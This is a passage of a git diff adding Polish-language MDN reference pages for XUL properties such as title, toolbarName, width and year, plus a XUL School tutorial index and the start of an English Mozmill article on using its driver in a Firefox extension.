+translation_of: Archive/Mozilla/XUL/Property/timepicker.value
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/value">value</a></span></code></dt>
+ <dd>
+ Typ: <i>string</i></dd>
+ <dd>
+ Aktualnie wprowadzony czas w formie HH:MM:SS. Ustaw tą własność, aby zmienić czas.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/title/index.html b/files/pl/mozilla/tech/xul/własność/title/index.html
new file mode 100644
index 0000000000..a4f86b2597
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/title/index.html
@@ -0,0 +1,20 @@
+---
+title: title
+slug: Mozilla/Tech/XUL/Własność/title
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/title
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/title">title</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Tytuł, który pojawia się na górze kreatora (<code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code>). Jest przesłaniany przez atrybut <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code> na indywidualnych stronach.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/toolbarname/index.html b/files/pl/mozilla/tech/xul/własność/toolbarname/index.html
new file mode 100644
index 0000000000..2c18cb27cc
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/toolbarname/index.html
@@ -0,0 +1,17 @@
+---
+title: toolbarName
+slug: Mozilla/Tech/XUL/Własność/toolbarName
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/toolbarName
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/toolbarName">toolbarName</a></span></code>
+</dt><dd> <b><span class="highlightred">Tylko Firefox</span></b>
+</dd><dd> Typ: <i>string</i>
+</dd><dd> Nazwa paska narzędzi.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/toolbarset/index.html b/files/pl/mozilla/tech/xul/własność/toolbarset/index.html
new file mode 100644
index 0000000000..9dfa5b9b4e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/toolbarset/index.html
@@ -0,0 +1,22 @@
+---
+title: toolbarset
+slug: Mozilla/Tech/XUL/Własność/toolbarset
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/toolbarset
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/toolbarset">toolbarset</a></span></code></dt>
+ <dd>
+ <b><span class="highlightred">Tylko Firefox</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarset" title="toolbarset">toolbarset</a></code> wewnątrz <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/tooltip/index.html b/files/pl/mozilla/tech/xul/własność/tooltip/index.html
new file mode 100644
index 0000000000..4239de568f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/tooltip/index.html
@@ -0,0 +1,20 @@
+---
+title: tooltip
+slug: Mozilla/Tech/XUL/Własność/tooltip
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/tooltip
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu tooltip</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/tooltiptext/index.html b/files/pl/mozilla/tech/xul/własność/tooltiptext/index.html
new file mode 100644
index 0000000000..b841834ee2
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/tooltiptext/index.html
@@ -0,0 +1,24 @@
+---
+title: tooltipText
+slug: Mozilla/Tech/XUL/Własność/tooltipText
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/tooltipText
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>.</dd>
+</dl>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p></p>
diff --git a/files/pl/mozilla/tech/xul/własność/top/index.html b/files/pl/mozilla/tech/xul/własność/top/index.html
new file mode 100644
index 0000000000..3884a73c60
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/top/index.html
@@ -0,0 +1,20 @@
+---
+title: top
+slug: Mozilla/Tech/XUL/Własność/top
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/top
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/type/index.html b/files/pl/mozilla/tech/xul/własność/type/index.html
new file mode 100644
index 0000000000..f92d1a4a74
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/type/index.html
@@ -0,0 +1,27 @@
+---
+title: type
+slug: Mozilla/Tech/XUL/Własność/type
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/type
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/type">type</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code>.</dd>
+</dl>
+<div class="noinclude">
+ <h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+ <ul>
+ <li><a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/textbox.type">textbox.type</a></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/pl/mozilla/tech/xul/własność/useraction/index.html b/files/pl/mozilla/tech/xul/własność/useraction/index.html
new file mode 100644
index 0000000000..9dbcd177df
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/useraction/index.html
@@ -0,0 +1,20 @@
+---
+title: userAction
+slug: Mozilla/Tech/XUL/Własność/userAction
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/userAction
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/userAction">userAction</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-userAction"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/userAction">userAction</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/value/index.html b/files/pl/mozilla/tech/xul/własność/value/index.html
new file mode 100644
index 0000000000..082e95f22c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/value/index.html
@@ -0,0 +1,20 @@
+---
+title: value
+slug: Mozilla/Tech/XUL/Własność/value
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/value
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/value">value</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/view/index.html b/files/pl/mozilla/tech/xul/własność/view/index.html
new file mode 100644
index 0000000000..bb90e343e5
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/view/index.html
@@ -0,0 +1,15 @@
+---
+title: view
+slug: Mozilla/Tech/XUL/Własność/view
+tags:
+ - Strony_wymagające_dopracowania
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/view
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+
+<dl>
+ <dt><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/view">view</a></span></code></dt>
+ <dd>Typ: <em><a href="/pl/NsITreeView" title="pl/NsITreeView">nsITreeView</a></em></dd>
+ <dd>Widok dla <code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code>, który jest obiektem generującym dane do wyświetlenia. Do tej własności możesz przypisać obiekt implementujący interfejs <a href="/pl/NsITreeView" title="pl/NsITreeView">nsITreeView</a>. Drzewa zbudowane z RDF-a, albo takie, które bezpośrednio używają elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code>, będą już miały widok. Funkcje dostępne w widoku pozwalają na pobieranie danych z komórek i pozwalają na stwierdzenie, które wiersze są zagnieżdżone w innych. Aby zobaczyć kompletną listę funkcji, obejrzyj interfejs <a href="/pl/NsITreeView" title="pl/NsITreeView">nsITreeView</a>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/webbrowserfind/index.html b/files/pl/mozilla/tech/xul/własność/webbrowserfind/index.html
new file mode 100644
index 0000000000..d18725b7ff
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/webbrowserfind/index.html
@@ -0,0 +1,16 @@
+---
+title: webBrowserFind
+slug: Mozilla/Tech/XUL/Własność/webBrowserFind
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/webBrowserFind
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/webBrowserFind">webBrowserFind</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIWebBrowserFind">nsIWebBrowserFind</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt <a href="pl/NsIWebBrowserFind">nsIWebBrowserFind</a>, którego można użyć do szukania tekstu w dokumencie.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/webnavigation/index.html b/files/pl/mozilla/tech/xul/własność/webnavigation/index.html
new file mode 100644
index 0000000000..b382e37bb1
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/webnavigation/index.html
@@ -0,0 +1,16 @@
+---
+title: webNavigation
+slug: Mozilla/Tech/XUL/Własność/webNavigation
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/webNavigation
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/webNavigation">webNavigation</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIWebNavigation">nsIWebNavigation</a></i>
+</dd><dd> Własność tylko do odczytu zawiera obiekt <a href="pl/NsIWebNavigation">nsIWebNavigation</a> dla dokumentu. Wiele z jego metod może być wywoływanych bezpośrednio na dokumencie; są to takie metody jak <span id="m-goBack"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goBack">goBack</a></code></span> i <span id="m-goForward"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goForward">goForward</a></code></span>. Zawiera także stałe wczytywania wykorzystywane przez <span id="m-reloadWithFlags"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reloadWithFlags">reloadWithFlags</a></code></span> i <span id="m-loadURIWithFlags"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/loadURIWithFlags">loadURIWithFlags</a></code></span>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/webprogress/index.html b/files/pl/mozilla/tech/xul/własność/webprogress/index.html
new file mode 100644
index 0000000000..6fd5c056a8
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/webprogress/index.html
@@ -0,0 +1,16 @@
+---
+title: webProgress
+slug: Mozilla/Tech/XUL/Własność/webProgress
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/webProgress
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/webProgress">webProgress</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIWebProgress">nsIWebProgress</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt <a href="pl/NsIWebProgress">nsIWebProgress</a>, który jest stosowany do monitorowania postępu podczas ładowania dokumentu.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/width/index.html b/files/pl/mozilla/tech/xul/własność/width/index.html
new file mode 100644
index 0000000000..5c236e6925
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/width/index.html
@@ -0,0 +1,20 @@
+---
+title: width
+slug: Mozilla/Tech/XUL/Własność/width
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/width
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Długość elementu w pikselach. Zamiast stosowania tej własności polecamy stosowanie własności <a href="pl/CSS/width">CSS width</a>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/wizardpages/index.html b/files/pl/mozilla/tech/xul/własność/wizardpages/index.html
new file mode 100644
index 0000000000..5244a60bad
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/wizardpages/index.html
@@ -0,0 +1,20 @@
+---
+title: wizardPages
+slug: Mozilla/Tech/XUL/Własność/wizardPages
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/wizardPages
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/wizardPages">wizardPages</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ DOM NodeList elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code></i>
+ </dd>
+ <dd>
+ Ta własność podtrzymuje listę elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code> w <code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/wraparound/index.html b/files/pl/mozilla/tech/xul/własność/wraparound/index.html
new file mode 100644
index 0000000000..b056079486
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/wraparound/index.html
@@ -0,0 +1,16 @@
+---
+title: wrapAround
+slug: Mozilla/Tech/XUL/Własność/wrapAround
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/wrapAround
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/wrapAround">wrapAround</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu wraparound.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/year/index.html b/files/pl/mozilla/tech/xul/własność/year/index.html
new file mode 100644
index 0000000000..b46c4eae40
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/year/index.html
@@ -0,0 +1,17 @@
+---
+title: year
+slug: Mozilla/Tech/XUL/Własność/year
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/year
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/year">year</a></span></code></dt>
+ <dd>
+ Typ: <i>integer</i></dd>
+ <dd>
+ Aktualnie zaznaczony rok z przedziału od 1 do 9999. Ustaw tą własność, aby zmienić zaznaczony rok.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/yearleadingzero/index.html b/files/pl/mozilla/tech/xul/własność/yearleadingzero/index.html
new file mode 100644
index 0000000000..cf6914d74c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/yearleadingzero/index.html
@@ -0,0 +1,17 @@
+---
+title: yearLeadingZero
+slug: Mozilla/Tech/XUL/Własność/yearLeadingZero
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/yearLeadingZero
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/yearLeadingZero">yearLeadingZero</a></span></code></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Wartość tylko do odczytu sygnalizująca gdzie wiodące zero powinno być wyświetlone przed rokiem zanim jest on mniejszy niż 1000.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/xul_school/index.html b/files/pl/mozilla/tech/xul/xul_school/index.html
new file mode 100644
index 0000000000..b7b400a3ba
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/xul_school/index.html
@@ -0,0 +1,70 @@
+---
+title: XUL School Tutorial
+slug: Mozilla/Tech/XUL/XUL_School
+translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School
+---
+<p>Szkoła XUL to wszechstronny tutorial programowania rozszerzeń koncentrujący się na programowaniu rozszerzeń dla Firefoksa. Zalecane jest abyś przeczytał go przynajmniej raz. Podczas gdy Firefox zmienia się dość często, zawartość tego tutoriala powinna być aktualna i poprawna.</p>
+<dl>
+ <dt>
+ Wprowadzenie</dt>
+ <dd>
+ <ul>
+ <li><a href="/en/XUL_School/Introduction" title="en/XUL School/Introduction">Wprowadzenie</a></li>
+ <li><a href="/en/XUL_School/Getting_Started_with_Firefox_Extensions" title="en/XUL School/Getting Started with Firefox Extensions">Getting Started with Firefox Extensions</a></li>
+ <li><a href="/en/XUL_School/The_Essentials_of_an_Extension" title="en/XUL School/The Essentials of an Extension">The Essentials of an Extension</a></li>
+ <li><a href="/en/XUL_School/Setting_Up_a_Development_Environment" title="en/XUL School/Setting Up a Development Environment">Setting Up a Development Environment</a></li>
+ <li><a href="/en/XUL_School/JavaScript_Object_Management" title="en/XUL School/JavaScript Object Management">JavaScript Object Management</a></li>
+ </ul>
+ </dd>
+ <dt>
+ Podstawowa funkcjonalność</dt>
+ <dd>
+ <ul>
+ <li><a href="/en/XUL_School/Adding_menus_and_submenus" title="en/XUL School/Adding menus and submenus">Adding menus and submenus</a></li>
+ <li><a href="/en/XUL_School/Adding_Toolbars_and_Toolbar_Buttons" title="en/XUL School/Adding Toolbars and Toolbar Buttons">Adding Toolbars and Toolbar Buttons</a></li>
+ <li><a href="/en/XUL_School/Adding_Events_and_Commands" title="en/XUL School/Adding Events and Commands">Adding events and commands</a></li>
+ <li><a href="/en/XUL_School/Adding_windows_and_dialogs" title="en/XUL School/Adding windows and dialogs">Adding windows and dialogs</a></li>
+ <li><a href="/en/XUL_School/Adding_sidebars" title="en/XUL School/Adding sidebars">Adding sidebars</a></li>
+ <li><a href="/en/XUL_School/User_Notifications_and_Alerts" title="en/XUL School/User Notifications and Alerts">User notifications and alerts</a></li>
+ </ul>
+ </dd>
+ <dt>
+ Intermediate functionality</dt>
+ <dd>
+ <ul>
+ <li><a href="/en/XUL_School/Intercepting_Page_Loads" title="en/XUL School/Intercepting Page Loads">Intercepting page loads</a></li>
+ <li><a href="/en/XUL_School/Connecting_to_Remote_Content" title="en/XUL School/Connecting to Remote Content">Connecting to Remote Content</a></li>
+ <li><a href="/en/XUL_School/Handling_Preferences" title="en/XUL School/Handling Preferences">Handling preferences</a></li>
+ <li><a href="/en/XUL_School/Local_Storage" title="en/XUL School/Local Storage">Local Storage</a></li>
+ </ul>
+ </dd>
+ <dt>
+ Zaawansowane tematy</dt>
+ <dd>
+ <ul>
+ <li><a href="/en/XUL_School/The_Box_Model" title="en/XUL School/The Box Model">The Box Model</a></li>
+ <li><a href="/en/XUL_School/XPCOM_Objects" title="en/XUL School/XPCOM Objects">XPCOM Objects</a></li>
+ <li><a href="/en/XUL_School/Observer_Notifications" title="en/XUL School/Observer Notifications">Observer Notifications</a></li>
+ <li><a href="/en/XUL_School/Custom_XUL_Elements_with_XBL" title="en/XUL School/Custom XUL Elements with XBL">Custom XUL Elements with XBL</a></li>
+ <li><a href="/en/XUL_School/Mozilla_Documentation_Roadmap" title="en/XUL School/Mozilla Documentation Roadmap">Mozilla Documentation Roadmap</a></li>
+ <li><a href="/en/XUL_School/Useful_Mozilla_Community_Sites" title="en/XUL School/Useful Mozilla Community Sites">Useful Mozilla Community Sites</a></li>
+ </ul>
+ </dd>
+ <dt>
+ Załączniki</dt>
+ <dd>
+ <ul>
+ <li><a href="/en/XUL_School/Appendix_A:_Add-on_Performance" title="en/XUL School/Appendix A: Add-on Performance">Appendix A: Add-on Performance</a></li>
+ <li><a href="/en/XUL_School/Appendix_B:_Install_and_Uninstall_Scripts" title="en/XUL School/Appendix B: Install and Uninstall Scripts">Appendix B: Install and Uninstall Scripts</a></li>
+ <li><a href="/en/XUL_School/Appendix_C:_Avoid_using_eval_in_Add-ons" title="en/XUL School/Appendix C: Avoid using eval in Add-ons">Appendix C: Avoiding using eval in Add-ons</a></li>
+ <li><a href="/en/XUL_School/Appendix_D:_Loading_Scripts" title="en/XUL School/Appendix D: Loading Scripts">Appendix D: Loading Scripts</a></li>
+ <li><a href="/en/XUL_School/DOM_Building_and_HTML_Insertion" title="en/XUL School/Appendix E: DOM Building and HTML Insertion">Appendix E: DOM Building and HTML Insertion</a></li>
+ <li><a href="/en/XUL_School/Appendix_F:_Monitoring_DOM_changes" title="en/XUL School/Appendix F: Monitoring DOM changes">Appendix F: Monitoring DOM changes</a></li>
+ </ul>
+ </dd>
+</dl>
+<p>The XUL School project was developed by <a class="external" href="http://appcoast.com/" title="http://appcoast.com/">Appcoast</a> (formerly Glaxstar). The project is now published here following its <a href="/Project:Copyrights" title="https://developer.mozilla.org/Project:Copyrights">sharing licenses</a>. Its contents have been modified from the original source as necessary.</p>
+<div class="noinclude">
+ <p></p>
+</div>
+<p> </p>
diff --git a/files/pl/mozmill/using_the_driver/index.html b/files/pl/mozmill/using_the_driver/index.html
new file mode 100644
index 0000000000..4c4d5df5f0
--- /dev/null
+++ b/files/pl/mozmill/using_the_driver/index.html
@@ -0,0 +1,132 @@
+---
+title: Using The Driver
+slug: Mozmill/Using_The_Driver
+translation_of: Mozilla/Projects/Mozmill/Using_The_Driver
+---
+<p><strong>The goal of this article is to teach you how to isolate Mozmill's driver from Mozmill's test harness, and drop it into your own extension allowing you to perform automation.</strong></p>
+<p>Mozmill is very feature rich. It can automate mostly any part of Firefox's UI which makes it an invaluable tool for anyone looking into Firefox automation. Unfortunately, Mozmill's test harness side is very bloated and unwieldy. The browser gets restarted between each test, plus a lot of other setup and teardown happens as well, which means that disguising a Mozmill test as a means to drive Firefox is not a very good or pleasant experience. Fortunately, it is possible to ignore all of the test harness bits and use only Mozmill's driver, which is lightweight and pure javascript (no python).</p>
+<h2 id="Isolating_the_Driver">Isolating the Driver</h2>
+<p>Luckily some work has been done to make this pretty easy, though there is still a fair amount of work to be done to make this process even easier.</p>
+<ol>
+ <li>Clone the Mozmill repo at <a class="link-https" href="https://github.com/mozilla/mozmill" title="https://github.com/mikeal/mozmill">https://github.com/mozilla/mozmill</a> somewhere on your file system.</li>
+ <li>Create a Mozmill resource directory (in your extension's root folder, create a 'resource/mozmill' folder).</li>
+ <li>Copy and paste the 'driver' and 'stdlib' folders from the '<em>path_to_mozmill_repo</em>/mozmill/mozmill/extension/resource' directory into your 'resource/mozmill' directory.</li>
+ <li>Edit your extension's <a href="/en/Building_an_Extension#Create_a_Chrome_Manifest" title="https://developer.mozilla.org/en/Building_an_Extension#Create_a_Chrome_Manifest">chrome.manifest</a> file and add the line 'resource mozmill resource/mozmill/' (don't forget the trailing slash)</li>
+ <li>Mozmill's driver is now ready to be imported and used by any chrome scoped JS in your extension.</li>
+</ol>
+<h2 id="Listening_for_Messages">Listening for Messages</h2>
+<p>Now that you can use Mozmill's driver, it's time to register a listener for Mozmill events. These events will tell your extension whether the various Mozmill actions pass or fail, as well as pass along other information such as screen shot info. Place this code anywhere in your extension (preferably before you start calling Mozmill functions):</p>
+<pre class="brush: js">let broker = {}; Components.utils.import('resource://mozmill/driver/msgbroker.js', broker);
+let mozmillListener = {
+ 'pass': function(obj) { dump('PASS ' + obj + '\n'); },
+  'fail': function(obj) { dump('FAIL ' + obj + '\n'); },
+  'log': function(obj) { dump('LOG ' + obj + '\n'); },
+};
+// Note: You can also add event listener individually with broker.addListener(eventType, listener).
+// Of course, each eventType can also have as many listeners as you wish.
+broker.addObject(mozmillListener);
+</pre>
+<h4 id="Other_Event_Types">Other Event Types</h4>
+<p>Pass, fail and log are the most common event types, but other ones exist too. Many of these others are specific to the Mozmill test harness and probably won't be relevant to your extension, but the full list is:</p>
+<table style="width: 75%;">
+ <tbody>
+ <tr>
+ <td><strong>EventType</strong></td>
+ <td><strong>Obj</strong></td>
+ <td><strong>Fired When</strong></td>
+ </tr>
+ <tr>
+ <td>pass</td>
+ <td>
+ <p>Varies, but often:</p>
+ <p>{ 'function': <em>function_name </em>}</p>
+ </td>
+ <td>An action in Mozmill passes</td>
+ </tr>
+ <tr>
+ <td>fail</td>
+ <td>Varies</td>
+ <td>An action in Mozmill fails</td>
+ </tr>
+ <tr>
+ <td>log</td>
+ <td>Varies</td>
